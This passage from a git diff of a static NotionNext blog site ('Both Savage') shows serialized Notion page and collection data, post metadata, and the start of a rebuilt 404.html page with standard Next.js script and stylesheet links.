a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"ed131e31-8c4e-4a1d-ab1c-e0413305a17c":{"value":{"id":"ed131e31-8c4e-4a1d-ab1c-e0413305a17c","type":"text","properties":{"title":[["🎉talk is cheap🎉\n🎉show me the code🎉",[["b"]]]]},"format":{"copied_from_pointer":{"id":"7ca584a8-83fa-4b0c-a4a9-82b7507c6069","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"7ca584a8-83fa-4b0c-a4a9-82b7507c6069"}},"0594fd5d-89de-4d48-a947-800290cd93ea":{"value":{"id":"0594fd5d-89de-4d48-a947-800290cd93ea","type":"text","properties":{"title":[["-- 感谢您的支持 ---",[["b"]]]]},"format":{"copied_from_pointer":{"id":"e1fa5279-d750-453f-8f4d-4c007cf67e21","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337141,"last_edited_time":1705594337141,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"e1fa5279-d750-453f-8f4d-4c007cf67e21"}},"7f67629a-0082-4473-928f-d31d356b7841":{"value":{"id":"7f67629a-0082-4473-928f-d31d356b7841","type":"text","properties":{"title":[["👏欢迎更新体验👏"]]},"format":{"copied_from_pointer":{"id":"7d7f1ca5-6b68-4fdd-b258-84e9ad3eccfa","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"7d7f1ca5-6b68-4fdd-b258-84e9ad3eccfa"}},"c1ecbb45-e326-47ea-8556-c7d10bb170ed":{"value":{"id":"c1ecbb45-e326-47ea-8556-c7d10bb170ed","type":"text","properties":{"title":[["操作手册",[["a","https://docs.tangly1024.com/about"]]]]},"format":{"copied_from_pointer":{"id":"c7110842-38fd-4b6a-b7f2-7e3c39374b63","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"c7110842-38fd-4b6a-b7f2-7e3c39374b63"}},"f3004e35-d892-4b8c-b6d4-5509025ab04c":{"value":{"id":"f3004e35-d892-4b8c-b6d4-5509025ab04c","type":"text","properties":{"title":[["更新记录",[["a","https://docs.tangly1024.com/article/latest"]]]]},"format":{"copied_from_pointer":{"id":"2c16e0df-7a5c-4c27-b988-750e31a64f8e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"2c16e0df-7a5c-4c27-b988-750e31a64f8e"}},"470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5":{"value":{"id":"470ea75c-8d3c-4b36-9fdf-5c8b9f834ed5","type":"text","properties":{"title":[["联系我们",[["a","https://docs.tangly1024.com/article/how-to-question"]]]]},"format":{"copied_from_pointer":{"id":"a53bc851-e8ad-46d8-9bcf-f0a56e09fead","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"a53bc851-e8ad-46d8-9bcf-f0a56e09fead"}},"26b17beb-0524-4379-8298-b4058fc13093":{"value":{"id":"26b17beb-0524-4379-8298-b4058fc13093","type":"text","format":{"copied_from_pointer":{"id":"f383db66-f540-46a4-97db-3da46eff223c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337141,"last_edited_time":1705594337141,"parent_id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","parent_table":"block","alive":true,"copied_from":"f383db66-f540-46a4-97db-3da46eff223c"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]","query":{"prefix":"#"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/404.html b/404.html
index 171ce2f4d..2f410c0d2 100644
--- a/404.html
+++ b/404.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Both Savage | 页面找不到啦</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Both Savage | 页面找不到啦"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//undefined"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Both Savage | 页面找不到啦"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/404-0962518ded3ddccb.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 